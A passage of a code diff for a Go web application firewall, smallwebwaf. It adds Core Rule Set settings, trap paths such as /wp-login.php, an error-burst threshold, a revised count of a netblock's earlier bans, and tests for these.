github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -28,6 +60,15 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -36,7 +77,21 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
internal/alerts/alerts.go
+3 -1
View File
@@ -44,7 +44,9 @@ const (
// EventAnomaly is a count of requests or bytes over an anomaly
// threshold.
EventAnomaly = "anomaly"
// EventWAFBlock comes with the Core Rule Set; nothing raises it yet.
// EventWAFBlock is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
EventWAFBlock = "waf_block"
// EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
internal/bans/admin_test.go
+53
View File
@@ -61,6 +61,59 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
}
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
t.Parallel()
rules := defaultRules()
rules.MaxBans = 2
ledger := bans.New(rules)
netblock := netip.MustParsePrefix("203.0.113.1/32")
other := netip.MustParsePrefix("203.0.113.2/32")
// An admin bans the netblock for a minute, and it then breaks a limit
// twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins")
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first
// ban for a limit, its earliest that is not an admin's, goes.
ledger.BanForLimit(other, second.Start, bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
// The netblock's next ban still counts it.
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
t.Errorf("the third ban for a limit has earlier bans %+v, "+
"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
}
}
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.1/32")
// The netblock breaks a limit twice, the second time after its first
// ban has ended, and the second ban's notes count the first. An admin
// then keeps the first ban.
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
kept := first
kept.Cause = bans.CauseAdmin
ledger.LoadEdit([]bans.Ban{kept, second})
// The netblock's next ban counts the kept ban once, as an admin's.
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
t.Errorf("the third ban for a limit has earlier bans %+v, "+
"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
}
}
func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
t.Parallel()
internal/bans/bans.go
+54 -20
View File
@@ -1,6 +1,7 @@
// Package bans is the ban ledger: the bans smallwebwaf makes on the
// netblocks of clients that break a rate limit or a byte limit, show a
// clear sign of attack or are listed by the CrowdSec decision list, and
// netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package.
@@ -103,10 +104,11 @@ type Notes struct {
ASName string `json:"as_name"`
Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit or "bytes" for a
// byte limit, the limit that was broken, its window, "minute", "hour"
// or "day", and the count reached: the client's requests, or bytes, in
// the window, those of the request that broke the limit included.
// what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the error burst, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
// These are what counted toward the ban, and the window is the time
// over which they came.
Kind string `json:"kind,omitempty"`
@@ -120,9 +122,12 @@ type Notes struct {
LimitPercent *int64 `json:"limit_percent,omitempty"`
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
// of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWWAF_TRAP_PATHS, that path as the
// client sent it.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
TrapPath string `json:"trap_path,omitempty"`
// Reputation is the reputation sources that listed the client when
// the request that caused the ban was made, in the order the request
// log's reputation names them. It is left out when none did.
@@ -311,7 +316,7 @@ func (l *Ledger) WouldBanForLimit(
// notes, and returns the ban, and whether it made it, as BanForLimit
// does. A first ban lasts AttackBanDuration; once the netblock has had
// one that was not lifted, the next is permanent. Its reason is "matched
// the rule <RuleID>".
// the rule <RuleID>", or "asked for the trap path <TrapPath>".
func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
@@ -382,6 +387,10 @@ func limitReason(notes Notes) string {
// attackReason is the reason of a ban for a clear sign of attack, with
// notes.
func attackReason(notes Notes) string {
if notes.TrapPath != "" {
return "asked for the trap path " + notes.TrapPath
}
return "matched the rule " + notes.RuleID
}
@@ -678,26 +687,51 @@ func (l *Ledger) ban(
}
// earlierBans returns how many bans a netblock with the bans held, oldest
// first, has had, by cause: the first ban held counts the bans the
// netblock had before that one, since dropped to make room, and each ban
// held adds one.
// first, has had, by cause. Each ban held gives a count: the bans its
// notes count before it, and one for it and each ban held after it. A
// ban's count misses a ban dropped after it to make room, and that of an
// admin's ban added to bans.json without notes misses the bans before it,
// so the count that names the most bans is taken, whole: a ban an admin
// keeps by giving it CauseAdmin is still counted under its old cause in
// later bans' notes, and taking each cause from another count would count
// it twice.
func earlierBans(held []Ban) EarlierBans {
earlier := held[0].Notes.EarlierBans
// fromHere counts ban and the bans held after it.
var most, fromHere EarlierBans
for _, ban := range held {
for _, ban := range slices.Backward(held) {
switch ban.Cause {
case CauseLimit:
earlier.Limit++
fromHere.Limit++
case CauseAttack:
earlier.Attack++
fromHere.Attack++
case CauseAdmin:
earlier.Admin++
fromHere.Admin++
case CauseCrowdSec:
earlier.CrowdSec++
fromHere.CrowdSec++
}
notes := ban.Notes.EarlierBans
count := EarlierBans{
Limit: notes.Limit + fromHere.Limit,
Attack: notes.Attack + fromHere.Attack,
Admin: notes.Admin + fromHere.Admin,
CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
}
// Of counts that name as many bans, the earlier ban's is taken: it
// counts more of the bans held by the cause they have now.
if count.total() >= most.total() {
most = count
}
}
return earlier
return most
}
// total returns how many bans e counts, of all causes.
func (e EarlierBans) total() int {
return e.Limit + e.Attack + e.Admin + e.CrowdSec
}
// markChanged has Changed receive a value, unless one is waiting already.
internal/config/config.go
+179 -8
View File
@@ -42,8 +42,8 @@ type Config struct {
InstanceName string
// Observe is true in observe mode, when SWWAF_MODE is observe rather
// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
// lists, a rate limit or a rule would refuse is passed to the app
// instead, and no ban is made.
// lists, a rate limit, a rule or the Core Rule Set would refuse is
// passed to the app instead, and no ban is made.
Observe bool
// TrustedProxies are the netblocks whose X-Forwarded-For is
// believed (SWWAF_TRUSTED_PROXIES).
@@ -239,6 +239,29 @@ type Config struct {
// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
RulesDir string
RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
WAFDisabledRules []int
WAFExemptPaths []string
WAFBodyLimit int64
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// ErrorBurstThreshold is the most requests of a client within a minute
// that smallwebwaf may refuse after a rule file or Core Rule Set match
// or for a missing or wrong token; one more breaks a limit
// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent
// (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
@@ -302,6 +325,16 @@ type Config struct {
// off.
const off = "off"
// The values of SWWAF_WAF_MODE.
const (
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
// WAFModeDetect logs and alerts a match, and refuses nothing.
WAFModeDetect = "detect"
// WAFModeBlock refuses a match with 403.
WAFModeBlock = "block"
)
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
// lookup database, the file SWWAF_LOOKUP_DB_PATH names.
const fileSource = "file"
@@ -319,6 +352,14 @@ const (
minIPv6GroupPrefix = 32
// minTokenLength is the fewest characters a token may have.
minTokenLength = 32
// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
maxParanoiaLevel = 4
// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
// keeps for the rules that set it up, which smallwebwaf's own rules
// have too (see internal/waf). Switching one off would undo a change
// that no setting undoes.
firstSetupRuleID = 900000
lastSetupRuleID = 900999
// masked is what the log shows for a token that is set, and in place of
// a secret in another setting.
masked = "********"
@@ -357,6 +398,7 @@ var (
errNeedsDBPath = errors.New("it names the file to look clients up in")
errDBPathUnused = errors.New("only file reads it")
errNotOver4K = errors.New("is not a size of more than 4K, such as 32K")
errOver1G = errors.New("is more than 1G, the most Coraza reads")
errNotDurationAboveZero = errors.New(
"is not a duration above zero, such as 1h or 7d")
errNotNumberAboveZero = errors.New(
@@ -378,6 +420,15 @@ var (
errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100")
errSetupRuleID = errors.New(
"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
"up and of smallwebwaf's own, which cannot be switched off")
errNotBoolean = errors.New("is not true or false")
errNotLogRemoteURL = errors.New(
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -499,12 +550,21 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range"),
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off),
TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"),
@@ -708,6 +768,15 @@ func (e *environment) size(name, defaultValue string) int64 {
return size
}
// wafBodyLimit reads the setting that is the most of a request body the
// Core Rule Set reads.
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
e.check(name, err)
return limit
}
// headerSize reads the setting that is the largest request line and
// headers.
func (e *environment) headerSize(name, defaultValue string) int64 {
@@ -744,6 +813,48 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes
}
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
paths, err := parseTrapPaths(e.value(name, ""))
e.check(name, err)
return paths
}
// wafMode reads the setting that is what the Core Rule Set does: off,
// detect or block.
func (e *environment) wafMode(name, defaultValue string) string {
mode := e.value(name, defaultValue)
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
}
return mode
}
// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
// level, from 1 to 4.
func (e *environment) paranoiaLevel(name, defaultValue string) int {
value := e.value(name, defaultValue)
level, err := strconv.Atoi(value)
if err != nil || level < 1 || level > maxParanoiaLevel {
e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
}
return level
}
// ruleIDs reads the setting that is a list of the ids of Core Rule Set
// rules.
func (e *environment) ruleIDs(name, defaultValue string) []int {
ids, err := parseRuleIDs(e.value(name, defaultValue))
e.check(name, err)
return ids
}
// countries reads a setting that is a list of countries.
func (e *environment) countries(name, defaultValue string) []string {
countries, err := parseCountries(e.value(name, defaultValue))
@@ -1334,6 +1445,22 @@ func parseHeaderSize(value string) (int64, error) {
return size, nil
}
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 1G, since
// Coraza, which runs the Core Rule Set, refuses to load with more.
func parseWAFBodyLimit(value string) (int64, error) {
limit, err := parseSize(value)
if err != nil {
return 0, err
}
if limit > gibibyte {
return 0, fmt.Errorf("%q %w", value, errOver1G)
}
return limit, nil
}
// splitUnit splits a size into its number and the bytes its suffix
// stands for.
func splitUnit(value string) (string, int64) {
@@ -1536,6 +1663,50 @@ func parsePathPrefixes(value string) ([]string, error) {
return prefixes, nil
}
// parseTrapPaths reads a comma-separated list of trap paths. Each is
// matched against a request's path as a path rule is, without the query,
// so a path that does not start with / would never match, and one that
// holds a ? is written with a query.
func parseTrapPaths(value string) ([]string, error) {
paths, err := parseList(value)
if err != nil {
return nil, err
}
for _, path := range paths {
if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") {
return nil, fmt.Errorf("%q %w", path, errNotTrapPath)
}
}
return paths, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
func parseRuleIDs(value string) ([]int, error) {
items, err := parseList(value)
if err != nil {
return nil, err
}
ids := make([]int, len(items))
for i, item := range items {
ids[i], err = strconv.Atoi(item)
if err != nil || ids[i] <= 0 {
return nil, fmt.Errorf("%q %w", item, errNotRuleID)
}
if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
}
}
return ids, nil
}
// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
// the code in common use for Kosovo. golang.org/x/text/language cannot
// check them: it also takes withdrawn codes such as su, and reserved ones
internal/config/config_test.go
+201
View File
@@ -91,6 +91,14 @@ const (
logLevel = "SWWAF_LOG_LEVEL"
rulesDir = "SWWAF_RULES_DIR"
rulesEnabled = "SWWAF_RULES_ENABLED"
wafMode = "SWWAF_WAF_MODE"
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
trapPaths = "SWWAF_TRAP_PATHS"
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWWAF_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
@@ -168,6 +176,9 @@ const (
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
const defaultReputationCacheTTL = "24h"
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
"content-type,origin,range"
@@ -495,6 +506,188 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
}
}
func TestTrapPathsAndErrorBurstThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
paths []string
threshold int64
}{
{environment{}, []string{}, 30},
{
environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"},
[]string{"/wp-login.php", "/xmlrpc.php"}, 5,
},
{environment{errorBurstThreshold: off}, []string{}, 0},
} {
cfg := fromEnvironment(t, tc.env)
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
cfg.ErrorBurstThreshold != tc.threshold {
t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths,
cfg.ErrorBurstThreshold, tc.paths, tc.threshold)
}
}
}
func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
t.Parallel()
const notTrapPath = " is not a path starting with / and without a ?, " +
"such as /wp-login.php"
for _, tc := range []struct{ name, value, want string }{
{trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath},
{trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath},
{
trapPaths, "/wp-login.php,,/xmlrpc.php",
`"/wp-login.php,,/xmlrpc.php" has an empty item in its list`,
},
{errorBurstThreshold, "0", `"0" must be more than zero, or off`},
{
errorBurstThreshold, "30/min",
`"30/min" is not a whole number of requests such as 1000, or off`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestCoreRuleSetSettings(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want config.Config
}{
{
environment{},
config.Config{
WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
WAFExemptPaths: []string{},
},
},
{
environment{
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
wafBodyLimit: "128K",
},
config.Config{
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
WAFDisabledRules: []int{942100, 920350},
WAFExemptPaths: []string{"/api/", "/static/"},
WAFBodyLimit: 128 << 10,
},
},
{
environment{
wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "",
wafBodyLimit: off,
},
config.Config{
